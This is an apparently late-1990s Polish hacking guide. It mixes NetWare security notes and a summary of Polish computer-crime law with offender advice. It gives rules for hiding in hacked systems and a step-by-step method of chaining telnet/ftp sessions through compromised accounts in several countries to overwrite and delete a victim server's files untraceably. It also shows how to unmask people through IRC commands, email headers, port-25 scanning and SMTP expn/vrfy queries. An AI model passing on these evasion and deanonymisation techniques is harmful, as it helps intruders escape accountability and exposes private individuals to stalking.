Poza ochroną plików i katalogów ważna jest również ochrona przestrzeni dyskowej. Często administratorzy zapominają o tym, dając w ten sposób każdemu użytkownikowi prawo zapisu, dzięki czemu haker może używać większej ilości zasobów. W niektórych systemach ograniczenia przestrzeni dyskowej stosowane są w obrębie jednego woluminu, na którym znajdują się katalogi własne, a aplikacje i pliki systemowe przechowywane są na innych woluminach. Ze względu na to, że niektóre aplikacje wymagają prawa zapisu w swoich katalogach, nieograniczenie przestrzeni woluminu prowadzi do możliwości używania przez użytkowników dodatkowej przestrzeni dyskowej.

Hasła i sposoby ich szyfrowania w systemie NetWare

Hasło przesyłane ze stacji roboczej do serwera plików jest automatycznie szyfrowane w trakcie logowania się do sieci systemu NetWare. Nie pozwala to hakerom na użycie wykrywaczy haseł oraz przeglądanie pakietów w sieci lokalnej, które również zawierają hasła użytkowników. Proces szyfrowania hasła odbywa się w sześciu niżej wymienionych etapach:

- Stacja robocza żąda od serwera klucza sesji;
- Serwer przesyła do stacji roboczej unikatowy 8-bajtowy klucz sesji;
- Stacja robocza szyfruje hasło identyfikatorem użytkownika (otrzymujemy w ten sposób 16-bajtową liczbę);
- 16-bajtowe hasło, które zaszyfrowane jest identyfikatorem użytkownika serwer zapisuje w pliku bazy Bindery;
- Stacja robocza szyfruje 16-bajtową wartość przy użyciu 8-bajtowego klucza sesji (otrzymujemy zaszyfrowaną wartość o długości 8 bajtów);

- Stacja robocza przesyła do serwera zaszyfrowaną 8-bajtową wartość;
- Serwer wykonuje niezależnie powyższe czynności i porównuje wynikową wartość z wartością przesłaną przez użytkownika (jeżeli wartości te są identyczne, zatwierdza poprawność logowania).

Sposobem śledzenia niepoprawnych haseł w systemie jest wykrywanie intruza. Opcja ta jest domyślnie wyłączona. Wcześniejsze uaktywnienie uruchamia brzęczyk w serwerze podczas nieudanego logowania. Występuje możliwość skonfigurowania tej opcji tak, aby po kolejnej próbie nieudanych logowań konto uległo zablokowaniu.

Ataki słownikowe i brutalne

Zarówno ataki słownikowe, jak i brutalne wymagają dostępu do sieci przez długi czas i są nieskuteczne w przypadku włączenia opcji wykrywającej intruza w systemie. Ataki słownikowe są bardziej niebezpieczne od brutalnych ze względu na to, że haker może skopiować pliki haseł do swojego komputera i sprawdzać na nim poprawność hasła zamiast wypróbowywać je w systemie. Najlepszym zabezpieczeniem przed atakami słownikowymi jest częsta zmiana haseł, używanie haseł zawierających symbole, cyfry i litery i składających się z co najmniej ośmiu znaków. Atak brutalny dokonywany jest przy użyciu programu, który odgaduje hasła w sposób ciągły. Haker stara się uzyskać hasło użytkownika posiadającego niski poziom uprawnień. Jeżeli opcja wykrywania intruza jest wyłączona, to haker może odgadywać hasła aż do wprowadzenia właściwego. Program, który przeprowadza ataki brutalne jest również dostępny w Internecie. Podaje on hasła np. aa, ab, ac aż do momentu odkrycia właściwej kombinacji literowej, czego wynikiem jest uzyskanie hasła. Atak ten wymaga dużej ilości czasu i dostępu do komputera. Ważne jest również zabezpieczenie konsoli serwera, gdyż włamywacz może wprowadzić polecenie wyłączające sprawdzanie haseł przez serwer, a użytkownicy nie wiedząc o tym, będą starali się wprowadzić hasła. Użytkownicy stacji roboczych starający zalogować się na koncie zabezpieczonym hasłem (np. konto superużytkownika) dokonać tego mogą bez weryfikowania hasła przez serwer. Ową konsolę powinno się zabezpieczyć przed dostępem jakichkolwiek osób. Równie dobrym zabezpieczeniem są mechanizmy kontrolujące dostęp do serwera. Zabezpieczenie konsoli jest najważniejszą operacją przeprowadzaną w celu zapewnienia bezpieczeństwa sieci NetWare. Jeżeli opcja wykrywania intruza jest włączona, to na konsoli systemu będzie włączany brzęczyk, a w pliku rejestrującym błędy serwera zostanie zarejestrowana data i godzina wykrycia próby włamania do systemu. Jest to łatwa metoda wykrycia i pozbycia się hakera. Bardzo niebezpieczna jest sytuacja, gdy włamywacz posiada zarówno fizyczny dostęp do konsoli, jak i do sieci na poziomie superużytkownika. Jeżeli jest wykorzystywane środowisko Windows 3.11 lub nowsza jego wersja, uruchamiany zostaje plik *conlog.nlm*, którego zadaniem jest przechwytywanie komunikatów konsoli. Gdy haker uruchomi na konsoli program stpwd, to w pliku rejestracyjnym *conlog.nlm* zapisana zostanie odpowiedź setpwd. Haker może z łatwością obejść to zabezpieczenie, uzyskując dostęp do interesujących go informacji z konsoli serwera, nie zostawiając przy tym żadnego śladu swojej obecności. Dlatego właśnie należy fizycznie zabezpieczać serwer.

Walory NetWare:

- Jądro wielozadaniowe systemu — umożliwia pracę serwera w trybie wielodostępnym oraz sprawność systemu przy dużym obciążeniu;
- Buforowanie dysków — system przechowuje zawartość często odczytywanych plików w podręcznej pamięci na serwerze, co zwiększa tempo procesu, a w buforze gromadzone są dane z przewidywaniem kolejnych żądań odczytu;
- Przeszukiwanie cylindryczne — operacje odczytywania dysku obsługiwane są przez osobny proces pobierający dane z dysku twardego serwera, umieszczając je następnie w buforze; żądanie odczytu uzależnione jest od położenia głowicy dysków i ustawiane w kolejności (gdy na realizację oczekują trzy żądania, a dane dla trzeciego żądania są najbliżej aktualnej pozycji głowicy dyskowej, zostaną pobrane jako pierwsze, a jeśli dane dla żądania drugiego są następnymi po drodze przesuwu głowicy, zostaną pobrane jako następne); wyszukiwanie to optymalizuje ruchy głowicy i daje dużą przepustowość w przypadku wielu żądań dostępu do dysku;
- Zapis w tle — operacje zapisywania danych na dysku w systemie stanowią odrębne procesy (rozdzielenie funkcji odczytu i zapisu umożliwia zapisywanie danych w tle podczas zmniejszonej aktywności w sieci);
- Indeksowane tablice alokacji plików — system NetWare lokalizuje pliki na sieciowych dyskach za pomocą tablic FAT (gdy na dysku serwera zapisywane są duże pliki, przez system indeksowana jest tablica FAT, dzięki czemu powstaje możliwość szybkiego odszukiwania danych, a w rezultacie — szybszy odczyt informacji z dysku);
- Wyszukiwanie na zakładkę — jeżeli występuje kilka kanałów dyskowych na serwerze, wyszukiwanie na zakładkę w tym przypadku pozwala na równoczesny dostęp na dysku w kilku kanałach (po jednym dysku na kanał); dostęp do każdego dysku jest kontrolowany odrębnie.

Elementy gwarantujące niezawodność NetWare:

- Weryfikacja po zapisie — po operacji zapisu system odczytuje dane sprawdzając ich poprawność;
- Duplikowanie tablic FAT — duplikat tablicy FAT jest przechowywany przez system, dzięki czemu uszkodzenie tablicy nie prowadzi do utraty dostępu do danych przechowywanych na dysku;
- Duplikowanie katalogów — w systemie przechowywany jest duplikat struktury katalogu głównego (jeżeli owa struktura ulegnie uszkodzeniu, to dostęp do sieci zapewni użytkownikom kopia zapasowa);
- SFT (*System Fault Tolerance*) — są to funkcje zabezpieczające dane, takie jak lustrzana konfiguracja dysków, system śledzenia transakcji TTS (*Transaction Ttancking System*) czy dupleksowanie dysków;

- Bieżąca korekta — to funkcja wykrywania i korygowania defektów nośnika (jeżeli wadliwy blok zostanie wykryty na dysku serwera plikowego podczas operacji zapisu, dane przemieszczone zostaną do innego obszaru na dysku, a lokalizacja tego błędnego bloku zostanie zapisana w tablicy bloków wadliwych dysku);
- Dyski twarde pracujące w konfiguracji lustrzanej duplikują swą zawartość i obsługiwane są za pośrednictwem tego samego kontrolera (informacje zapisywane na dysku pierwotnym przez serwer są również zapisywane na dysku wtórnym i jeżeli dysk pierwotny ulegnie awarii, zastępuje go dysk wtórny).

Zadaniem systemu TTS jest utrzymanie spójności w wielodostępnych bazach danych. Zmiana zawartości bazy danych jest postrzegana przez system jako pewna transakcja, która jest w toku lub została zakończona. Gdy podczas transakcji system ulegnie awarii, to system TTS przywraca w bazie danych poprzedni stan (sprzed rozpoczęcia transakcji). Operacja ta jest zwana operacją automatycznego cofnięcia transakcji (roll-back). TTS przechowuje zapis historii wszystkich transakcji, co pozwala na odtworzenie transakcji cofniętej (roll-forward). Poza tym w wypadku zupełnej awarii wszystkie dane mogą zostać odzyskane.

System NetWare posiada program security, który dostarcza informacji na temat sposobów zainstalowania zabezpieczeń przez superużytkownika. Informacje te pozwalają upewnić się, czy wszystkim identyfikatorom są przypisane hasła i czy hasło użytkownika nie jest takie samo jak jego identyfikator. System posiada również program filer umożliwiający określenie praw efektywnych użytkownika do określonego katalogu i pliku. Nie uwzględnia on jednak atrybutów katalogów i plików, które mają znaczenie nadrzędne w stosunku do przypisań i filtru IRF. Program filer jest użyteczny podczas sprawdzania tego, czy haker lub inny nieautoryzowany użytkownik nie uzyskał dostępu do zabezpieczonego katalogu. W 1983 roku Novell wprowadził do sieci lokalnych koncepcje nazw użytkowników, profili użytkowników i haseł. Hasła przechowywane są na dysku sieciowym w postaci zakodowanej. Osoba, która zarządza siecią ma prawo narzucenia użytkownikom okresowej zmiany hasła. Występuje szyfrowanie haseł (słowa kluczowe są szyfrowane nawet podczas przesyłania ich ze stacji do serwera, by uniknąć podsłuchiwania i prób odszyfrowania). Profil użytkownika określa natomiast dostęp do zasobów i prawa, jakie on posiada. Administrator sieci może określić czas (godziny i daty) i miejsca, z jakich użytkownik może zalogować się do sieci. O próbie niepoprawnego dostępu informują administratora procedury detekcji i blokady kont. Podczas gdy serwer systemu NetWare pracuje w trybie niededykowanym, użytkownik musi zalogować się do sieci (pomimo, że używa serwera jako stacji roboczej). Prowadzi to do tego, że każda forma dostępu do danych przebiega pod kontrolą mechanizmów ochronnych sieci. Pod względem bezpieczeństwa wszystkie stacje robocze są równoprawne (niezależnie od działającego na nich systemu operacyjnego), zaś mechanizmy ochronne znajdują zastosowanie we wszystkich systemach operacyjnych stacji.

Systemy operacyjne zaspokajają potrzeby odbiorców na różnych poziomach, i tak:

- Personal NerWare to system niedrogi i prosty obsługujący sieć wielkości od 2 do 50 użytkowników. Zapewnia on podstawowe funkcje sieciowe i powstał z myślą o użytkownikach, którzy po raz pierwszy mają do czynienia z sieciami komputerów PC;
- NetWare 3.11 SFT III (oparty na systemie NetWare 3.11) zawiera dodatkowo poziom ochrony, który umożliwia umieszczenie dodatkowego serwera w sieci (gdy główny serwer ulegnie uszkodzeniu, wtedy rezerwowy przejmuje jego funkcje, eliminując przestój);
- NetWare 3.12, wykorzystywany w firmach małej i średniej wielkości, stanowi bardziej sprawną wersję od poprzedniej, gdyż zawiera elementy, takie jak NetWare for Macintosh dla pięciu użytkowników i podstawowe mechanizmy przesyłania wiadomości (MHS);
- NetWare 4.02 posiada możliwości wersji 3.12 oraz nowe rozwiązania, dzięki którym użytkownicy posiadają możliwość szybkiego dostępu do danych w całej sieci — rozbudowane funkcje zabezpieczające, ulepszone narzędzia do administracji i zarządzania systemem NetWare Directory Services.

Słabe punkty zabezpieczeń NetWare

Najważniejszą czynnością, którą należy wykonać w celu obrony przed atakami hakerów jest zabezpieczenie serwera. Ważną rzeczą jest zdanie sobie sprawy z tego, iż to pracownicy firmy, a nie osoby z zewnątrz stanowią najczęściej zagrożenie dla danych. Fizyczne zabezpieczenia serwera należy do najłatwiejszych operacji mających na celu ochronę serwera. Ten charakter zabezpieczeń jest powszechnie zaniedbywany przez większość administratorów.

Serwer należy wiec umieścić w oddzielnym pomieszczeniu, które jest nieustannie kontrolowane. Stosowanie tego zabezpieczenia uniemożliwia hakerowi dostęp do serwera. Najważniejsze pliki powinny być przechowywane w wydzielonym miejscu niedostępnym z sieci. Ich sprawdzanie jest czynnością bardzo ważną, ponieważ haker może je podmienić na inne, uzyskując dostęp do całego serwera. Haker może również zmienić pliki konfiguracyjne NetWare lub pliki skryptów logowania w celu obejścia zabezpieczeń.

W celu ochrony przed atakami powinna być tworzona lista użytkowników i grup w sieci. Do utworzenia tej listy należy użyć programu syscon. Lista powinna być stale uaktualniana. Należy również sprawdzać, czy nie zawiera ona kont o dostępie superużytykownika np. printer lub guest.

System wyposażony jest w program rconsole, który przeznaczony jest dla syperużytkowników. Pozwala on na monitorowanie sieci na poziomie serwera bez konieczności korzystania z komputera serwera. Do zalogowania się w programie konieczne jest wprowadzenie hasła rconsole, które w postaci zaszyfrowanej przesyłane jest do serwera otwierającego program na bieżącej stacji roboczej superużytkownika. Podczas transmisji przez sieć pakiet narażony jest na podejrzenie za

pomocą monitora pakietów, który wykorzystywany może być przez hakera w celu uzyskania hasła *rconsole*. Algorytm szyfrujący operację logowania jest nie skomplikowany w związku z czym haker może łatwo złamać hasło *rconsole* użytkownika. Wszystkie pliki konfiguracyjne systemu NetWare powinny być umieszczane w bezpiecznych miejscach. Standardowo pliki konfiguracyjne (*pliki.ncf*) umieszczane są w katalogu *SYS:SYSTEM*. Plik uruchomieniowy systemu NetWare (*autoexec.ncf*) powinien być umieszczony w tym samym miejscu co *serwer.exe*.

Pomimo, że istnieje wiele sposobów włamań do sieci NetWare, nie należy się martwić o zabezpieczenia programów. Haker nie może wykonać operacji włamania, jakie możliwe są w systemie Unix, gdyż:

- Sieć wczytuje odpowiednią powłokę bez dostępu do serwera (na jednym komputerze nie można uruchomić kilku powłok);
- Ze względu na to, że powłoka jest uruchamiana lokalnie a nie na serwerze, włamywacz nie może uzyskać większego dostępu niż posiada;
- Żadne programy NetWare nie używają wejścia *stdin* i wyjścia *stdout* w związku z czym hakerzy nie mogą spowodować przepełnienia stosu (umieszczając zbyt dużo danych);
- Sieci z systemem NetWare, wykorzystując odpowiedni sprzęt połączeniowy, mogą być łączone ze sobą za pośrednictwem pojedynczego serwera plikowego lub poprzez komputery działające jako zewnętrzne przekaźniki (niemal nieograniczona liczba serwerów może być używana przez sieć lub kilka połączonych sieci, a jeden użytkownik może być połączony z ośmioma jednocześnie, gdyż Novell oraz inni producenci dostarczają złącza umożliwiające dostęp do odmiennych systemów; system ten zapewnia szerokie możliwości zarządzania wspólnymi drukarkami sieciowymi, zapewnia kompletną obsługę kolejkowania wydruków oraz umożliwia tworzenie plików definicyjnych drukarek, które przekazują kody sterujące do drukarek w celu zmiany kroju pisma, marginesów);

Novell NetWare, który jest systemem operacyjnym, przeznaczonym do udostępniania plików oraz serwerów wydruku w sieci, posiada własny zestaw protokołów transmisyjnych, a do celów komunikacji między protokołami NetWare a protokołami Internetu wykorzystuje bramki aplikacji; cechą systemu jest także to, że wraz z procesorami poleceń stacji roboczych kontroluje szeroki zakres informacji dotyczących ruchu w sieci i za pomocą odpowiednich narzędzi (np. Monitrix, NW Ranger, TXD czy też Nerwork Early Warning System) może śledzić większość informacji, a następnie przekazać je użytkownikowi.

Problemy hakerów

Jeżeli haker będzie nieostrożny, może nadużyć niektórych opcji i w końcu zostanie namierzony jego IP. Jeśli haker używa linii dzierżawionej, wystarczy donieść administratorowi o jego wyczynach. Z TP S.A. jest trudniej, gdyż trzeba znać dokładną godzinę ataku, by namierzony został jego numer telefonu.

Haking w kodeksie karnym

W dniu 1 września 1998 roku wszedł w życie nowy polski Kodeks Karny, który zawiera przepisy przewidujące odpowiedzialność karną za popełnienie tzw. przestępstw komputerowych.

W rozdz. XXXIII zatytułowanym — „Przestępstwa przeciwko ochronie informacji'' znalazły się normy umożliwiające pociągnięcie do odpowiedzialności karnej sprawców najbardziej klasycznych zamachów na bezpieczeństwo danych i systemów komputerowych, takich jak: haking (art. 267 §1), podsłuch (art. 267 §2), naruszenie integralności komputerowego zapisu informacji (art. 268 §2) oraz sabotaż komputerowy (art. 269 §1 i 2).

Do innych przepisów, które przewidują możliwość popełnienia przestępstwa przy użyciu „komputera" należy zaliczyć:

- W kategorii przestępstw przeciwko mieniu (rozdz. XXXV) — nielegalne uzyskanie programu komputerowego (art. 278 §2), paserstwo programu komputerowego (art. 293 §1), oszustwo komputerowe (art. 287) i oszustwo telekomunikacyjne (art. 285);
- Wśród przestępstw przeciwko wiarygodności dokumentów — w związku z przyjęciem przez kodeks nowej definicji prawnej dokumentu (art. 115 §14), którym jest także „zapis na komputerowym nośniku informacji'' — tzw. fałszerstwo komputerowe (art. 270 §1) oraz inne czyny określone w rozdz. XXXIV;
- W rozdziale XXXV dotyczącym przestępstw przeciwko bezpieczeństwu powszechnemu — sprowadzenie niebezpieczeństwa dla życia lub zdrowia wielu osób albo dla mienia w znacznych rozmiarach, które jest następstwem zakłócania, uniemożliwiania lub wpływania w inny sposób na automatyczne przetwarzanie informacji (art. 165 §1 pkt. 4).

„Komputerowym'' przestępstwem przeciwko Rzeczpospolitej Polskiej (rozdz. XVII) jest bowiem uprzywilejowana postać szpiegostwa, a czynu tego można się dopuścić włączając się do sieci komputerowej w celu uzyskania wiadomości, których udzielenie obcemu wywiadowi może wyrządzić szkodę RP (art. 130 §2).

Ukrywanie prób włamań

Podstawowym błędem, jaki robi większość ludzi po zalogowaniu się, jest skłonność do robienia dowcipów. Niejednokrotnie w grupach dyskusyjnych ludzie piszą, że „komputer sam się wyłącza", lub „szufladka sama się otworzyła a na pulpicie wyskoczył głupi requester". W takich przypadkach zwykle mamy do czynienia z trojanami. Atak jest więc łatwy do rozpoznania.

Mimo, że używanie Netbusa nie jest uważane za prawdziwe hakerstwo, to warto zachować się jak na prawdziwego hakera przystało i nie zdradzać obecności w systemie. Trzeba być cierpliwym i nasłuchiwać długo, a sukces będzie gwarantowany.

Oto główne przykazania:

1. Nie zostawiaj nigdzie swojego imienia, nazwiska, telefonu i innych danych;
2. Na zhakowanych kontach używaj najlepiej imion kobiecych, gdyż są mniej podejrzane;
3. Uważaj z kim wymieniasz wiadomości;
4. Nie dawaj nikomu numeru telefonu;
5. Nie hakuj komputerów rządowych;
6. Bądź podejrzliwy;
7. Zadawaj pytania, lecz rób to delikatnie i nie licz, że ktoś wytłumaczy ci wszystko od podstaw;

Dodatkowe sugestie, pomocne wtedy, gdy haker „wchodzi" przez Telnet na serwer. Wówczas w logach zostanie zanotowane „*haker@dial003.zigzag.pl*", a jeśli haker, nie mając nigdzie roota, to powinien:

- Skorzystać z dial-upu TPSa ;
- Znaleźć 2-3 serwery i rozkodować około 4-5 kont na każdym (najlepiej żeby były to serwery umieszczone w różnych krajach); załóżmy więc, że ma serwery: *X.com*, *Y.com*, *Z.com*, ofiara.com oraz następujące konta: X1, X2, X3, X4, Y1, Y2, Y3..., Z1;
- Powinien więc zalogować się na *X.com* jako X1, wysłać tam „nową" wersję strony, a później (przez Telnet) z tego konta wpisać „*ftp Y.com*" i tam logować się jako „Y1" (fizycznie jest cały czas podłączony do *X.com*!), wysłać na Y1 pliki, a później wpisać na koncie X1 „*telnet Y.com*" i napisać „*ftp X.com*", a następnie zalogować się jako X2 i kilkukrotnie powtórzyć wszystkie czynności dla innych kont;
- Po kilku pętelkach haker może wysłać wszystko na *Z.com* i stamtąd dopiero (będąc cały czas zalogowany na X jako X1) wpisać „*ftp ofiara.com*" i zastąpić oryginalne pliki nowymi, a później wycofać się i skasować pliki.

Co dzieje się później?

Zwykle admin serwera ofiara.com patrzy w logi i widzi „*Z1@Z.com*". Pisze zatem jak najszybciej do *root@Z.com*, że wlamał się do niego haker. Ale może się okazać, że cała afera się wyjaśni i admin Z będzie próbował szukać dalej. Zajrzy do logów i zobaczy, że na to konto logował się „*Y4@Y.com*". Wyśle więc odpowiedni list do *root@Y.com*. Ten zaś powtórzy cały scenariusz, po czym zorientuje się, że logował się u niego „*X4@X1.com*". Napisze więc do *root@X.com*. Ten znowu powtórzy cały scenariusz i znowu napisze do roota serwera2, że to przecież „*Y3@Y.com*" się u niego logował. Nie ma szans, żeby admini się jakoś dogadali, zwłaszcza gdy jeden z serwerów jest poza krajem.

W sumie haker robi tyle zamieszania, że staje się nie do wykrycia, z jakiego adresu doszło do włamania.

Sposoby namierzania i identyfikacji intruzów

Hakerzy bez wątpienia są ludźmi, którzy lubią wiedzieć więcej niż faktycznie potrzebują. Prawdziwy haker nie wykorzysta zdobytych danych do niecnych celów, jednak należy mieć świadomość, że nasze dane mogą być dostępne dla wszystkich i to całkiem legalnie.

Po pierwsze: nie należy bez wyraźnej potrzeby podawać poprzez sieć własnych danych osobowych, czy to na IRC czy w ankietach itp. Mówię tu głównie o imieniu, nazwisku, adresie zamieszkania, telefonie, e-mailu itp. Niektórych danych oczywiście nie da się ukryć, ale warto wiedzieć, w jaki sposób są one dostępne dla innych.

Informacje z IRC: IRC jest usługą teoretycznie anonimową, jednak w praktyce można dzięki niej dowiedzieć się wielu ciekawych rzeczy. W zasadzie 90% technik namierzania opiera się na znajomości adresu IP ofiary.

Aby poznać adres IP w IRC należy wpisać :

```
/dns <nick>
```

gdzie <nick>jest pseudonimem interesującej nas osoby. Należy przy tym pamiętać o dwóch podstawowych rzeczach: dana osoba musi być aktualnie na IRC, a adres, który otrzymamy nie musi należeć do niej. W praktyce 70% otrzymanych adresów będzie prawdziwa. Efekt komendy będzie wyglądał na przykład tak:

```
... /dns info for: Ar1 ...
.Address. jakas.tajna.domena.pl
.Resolved to. 195.123.123.123
```

Tak więc mamy już adres IP. Wykorzystanie tej opcji jest niewykrywalne przez innych.

Kolejną przydatną opcją jest:

```
/whois <nick>
```

Za pomocą tej komendy uzyskamy kilka dodatkowych informacji o danej osobie czy połączeniu:

```
... /whois info for: Ar1 ...
.Address. ar1zone@supertajna.szkola.edu.pl
.Realname. Tygrysek :)
.Server. *.irc.miasto.pl
.Channels. #hak
```

Dane o „prawdziwym imieniu" zostaną podane oczywiście tylko wtedy, gdy osoba, którą sprawdzamy, wpisała je do swojego klienta IRC. Kanały IRC, na których się właśnie się znajduje także przynoszą nowe dane — można poznać zainteresowania (należy uważać na ludzi siedzących np. na *#hakpl*, *#plhak*, *#linuxpl* itp.) Wykorzystanie tej możliwości jest niewykrywalne przez innych.

```
/whowas <nick>
```

Za pomocą tej komendy możemy poznać nazwę hosta oraz serwer, przez który łączyła się dana osoba.

```
/finger <nick>
```

Jest to dokładny odpowiednik zwykłego fingera, sprawdzającego adres IP interesującej nas osoby. Trzeba dodać, że niektóre wersje IRC mają możliwość otworzenia zwykłego fingera (działającego nie tylko na IRC), pod który możemy podłączyć dowolny plik tekstowy. Od razu nasuwa się możliwość skonfigurowania klienta IRC tak, by po wykonaniu fingera pokazywał on jakiś przydatny nam plik tekstowy (np. zapiski keyloggera itp.).

```
/ctcp <nick> finger
```

Mimo, że opcja ta nazywa się tak samo jak poprzednio opisany finger, zbiera informacje tylko z klienta IRC sprawdzanej ofiary, gdzie został zapisany e-mail. Jak widać, trzeba dbać o anonimowość nawet na własnym komputerze. Oto przykład tego, co możemy zobaczyć:

```
[Lamer FINGER reply]: zdzisiu@domena.pl Idle 42 seconds
```

Wykorzystanie fingera nie jest niezauważalne. W przeciwieństwie do poprzednich komend, ta informuje „fingerowaną" osobę, że jest sprawdzana (pojawia się komunikat).

```
/ctcp <nick> version
```

Ta komenda sprawdza wersję klienta IRC interesującej nas osoby. Przydaje się to wtedy, gdy chcemy zobaczyć, na jakim systemie ona działa. Na przykład:

```
[Lamer VERSION reply]: mIRC32 v5.5 K.Mardam—Bey
```

powie nam, że jest to użytkownik Windows, gdyż mIRC jest charakterystyczne dla tego systemu. Podobnie jak poprzednia komenda, także i ta informuje ofiarę, że ją sprawdzamy.

Niektóre z klientów IRC mają możliwość zmiany nazwy własnego VERSION, więc nie ma problemu z tym, żeby pokazywały dowolny inny tekst.

```
/ctcp <nick> time
```

Pokazuje czas „po drugiej stronie".

```
[Ar1zone TIME reply]: Thu Oct 07 11:34:35 1999
```

Ta komenda może się przydać do określenia miejsca osoby (dokładniej strefy czasowej) i jeśli nie dowiemy tego z adresu (może być nieprawdziwy), tu mamy szansę.

Zbieranie informacji na podstawie e-maila

Wbrew pozorom na podstawie e-maila jest możliwe zebranie wielu dodatkowych informacji o danej osobie. Z pomocą przyjdzie tu nam program MS Outlook lub Netscape. Ten sposób działa jednak tylko wtedy, gdy mamy choćby jednego maila od interesującej nas osoby. Gdy znajduje się on w okienku Outlooka lub inbox, klikamy na list prawym klawiszem myszki i sprawdzamy właściwości. W Netscape wystarczy włączyć *Widok (View)*, a następnie w *Nagłówku (Headers)* wybrać *Wszystko (All*).

Po chwili zobaczymy przykładową treść :

```
Return—Path: <koles@firma.pl>
Delivered—To: ar1zone@kki.net.pl
Received: from ppp (pa75.bielsko.ppp.tpnet.pl [123.123.123.123])
by test.kki.net.pl (Postfix) with SMTP id 2B2473F3C
for <ar1zone@kki.net.pl>; Fri, 24 Sep 1999 17:57:09 +0200 (CEST)
Message—ID: <000001bf04a4$e6cd7250$4b11a0c4@ppp>
From: „TC” <koles@firma.pl>
To: <ar1zone@kki.net.pl>
Subject: =?iso—8859—2?Q?Tresc listu=?iso—8859—2?Q?lorer.?=
MIME—Version: 1.0
Content—Type: text/plain;
charset=„iso—8859—2”
Content—Transfer—Encoding: quoted—printable
X—Mailer: Microsoft Outlook Express 5.00.2417.2000
X—MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Date: Fri, 24 Sep 1999 17:57:10 +0200 (CEST)
X—UIDL: 40c7925e33b77982558e41f0e356bbb3
```

Jest tu cała masa informacji, ale tak naprawdę przyda nam się tylko kilka z nich. Po pierwsze i najważniejsze — adres IP komputera, z którego został wysłany (lub np. firewalla) e-mail (patrz: trzecia linia od góry). Widzimy tu zarówno IP jak i DNS, co przydaje się, gdy nadawca skorzystał z adresu dynamicznego.

Jak widać, ten e-mail został wysłany z połączenia modemowego (*ppp.tpnet*) i adres IP nam się na wiele nie przyda, ale wiemy już, że został nadany z Bielska Białej. Jeśli e-mail zostałby wysłany z łącza stałego, mamy już jego prawdopodobny adres IP, co jest ważną wiadomością. Nieco niżej w polu *Message-ID*, po szeregu znaczków pojawia się jeszcze jedna wiadomość: *ppp*. W tym przypadku jest to tylko potwierdzenie, że nadawca korzystał przez TPSA (ale czasem pojawia się tu nazwa domeny oraz komputera, z którego został wysłany list). teraz możemy już dokładnie określić, skąd e-mail został nadany.

Inna sprawa to *X-Mailer* — tu widzimy nazwę programu pocztowego, z którego skorzystał nadawca. Znamy więc jego system.

Teraz załóżmy, że nie dostaliśmy jeszcze żadnego e-maila od danej osoby i mamy tylko jej adres. Nie wiemy prawie nic! A możemy się dowiedzieć? Nie zawsze, ale warto spróbować.

Całość będzie się opierała na dwóch najważniejszych informacjach — adresie serwera pocztowego, na którym ofiara ma skrzynkę pocztową, oraz na pseudonimie. Jeśli znamy adres e-mail, to już te informacje prawdopodobnie posiadamy — pseudonim (a konkretnie i dokładnie nazwa, jakiej używa, czyli to, co znajduje się przed znaczkiem @) i adres serwera pocztowego (bierzemy z końcówki e-maila, czyli to, co jest po @). Tak więc przyjmijmy, że mamy adres: *koles@firma.pl*. Pozostawmy teraz go na chwilkę i przejdźmy do przypadku, w którym nie mamy adresu, ale interesuje nas osoba na IRC. Jest to znacznie trudniejsze do sprawdzenia i jesteśmy tu ograniczeni. Najlepiej więc, by sprawdzana osoba używała komputera, który jest w niedalekiej odległości od serwera pocztowego (pod względem adresu IP).

Jeżeli nie wiemy dokładnie, gdzie znajduje się serwer pocztowy, możemy go poszukać „ręcznie". Musimy do tego użyć skanera WinGateScan. Wpisujemy do niego adres IP interesującej nas osoby i ustawiamy skanowanie całej domeny, czyli w adresach od xxx.xxx.xxx.1 do xxx.xxx.xxx.255. Ustawiamy szukanie portu 25 (protokół pocztowy) i klikamy *scan*. Czasem możemy znaleźć kilka otwartych portów w domenie, a czasem nie. Wtedy już nic nie da się zrobić. Gdy jednak sprawa się powiedzie, znajdziemy kilka adresów z otwartym portem 25. Najlepiej byłoby, gdyby adres pokrył się z adresem osoby, który zdobyliśmy wcześniej. I tak mamy już nazwę nicka (ta przed @ w mailu) oraz adres serwera pocztowego. Powiedzmy że są to: koles oraz 123.123.123.123.

Teraz małe wprowadzenie. Serwery pocztowe mają to do siebie, że do e-maila potrzebują czasem imienia i nazwiska jego właściciela. Podajemy je na stronach internetowych przy zakładaniu skrzynki, w pracy, w szkole tylko dlaczego nam nikt nie mówi, że te informacje są czasem dostępne dla innych? Co z ochroną danych osobowych?

Po tej refleksji, naszym celem jest zdobycie imienia i nazwiska osoby. Do tego będzie nam potrzebny dodatkowo program do Telnetu (typu klient/serwer, gdzie my jesteśmy klientem i wydajemy serwerowi pewne rozkazy). Aby się najprościej połączyć poprzez Telnet, napiszmy w *Uruchom* lub *Run*:

```
telnet 123.123.123.123 25
```

Ciąg „123.123.123.123" jest adresem znalezionego serwera pocztowego, a „25" portem, na którym on działa (ta wartość się nie zmienia). Jeśli ponownie będziemy mieli szczęście, zobaczymy tekst w stylu:

```
220 shell. Sendmail SNI—8.6/SMI—SVR4 ready at Sat, 10 Oct 1999
14:35:18 +0200
```

Jeśli wszystko się udało, możemy wydać pierwszą komendę. Będzie to:

```
expn koles
```

„koles" to oczywiście pseudonim używany przez daną osobę. Jeśli faktycznie osoba pod takim pseudonimem używa tego serwera, po chwili zobaczymy:

```
username koles@firma.pl Jan Kowalski
```

Jednak czasami komenda `expn` nie działa (czasami nie udostępnia się jej w serwerze). Wtedy mamy jeszcze szansę na spróbowanie: `vrfy koles`

Wynik jest tu podobny. Może się także zdarzyć że pseudo, które podaliśmy nie będzie istniało, czego dowodem będzie stosowny komunikat. Warto jest wtedy wypróbować inne pseudonimy, które mogła wybrać ta osoba do swojego e-maila. Na koniec podsumowanie i kilka porad. Nazwy pseudonimów można pobierać:

- Z prawdziwego adresu e-mail dla sprawdzanego serwera;
- Z IRC, ICQ;
- Za pomocą programu Mirror Universe (login name);

- Z nazwy login login podanej koniem trojańskim;
- Z nazw użytkowników w Windows;
- Za pomocą fingera;
- Z imienia i nazwiska (np. zdzislaw, zdzisiek, zdzislaw2 itp.);
- Z innych, znanych pseudonimów (np. znalezionych wyszukiwarkami na podstawie innych danych).

Adresy serwera pocztowego można pobierać:

- Z końcówki adresu e-mail;
- Z otrzymanego z IRC, ICQ adresu (dla adresów stałych, skojarzonych z domeną, gdzie znajduje się serwer);
- Przeskanować pod kątem otwartego portu 25, skojarzonych z osobą hostów (czyli np. adresy IP szkoły w której się uczy, pracy itp.).

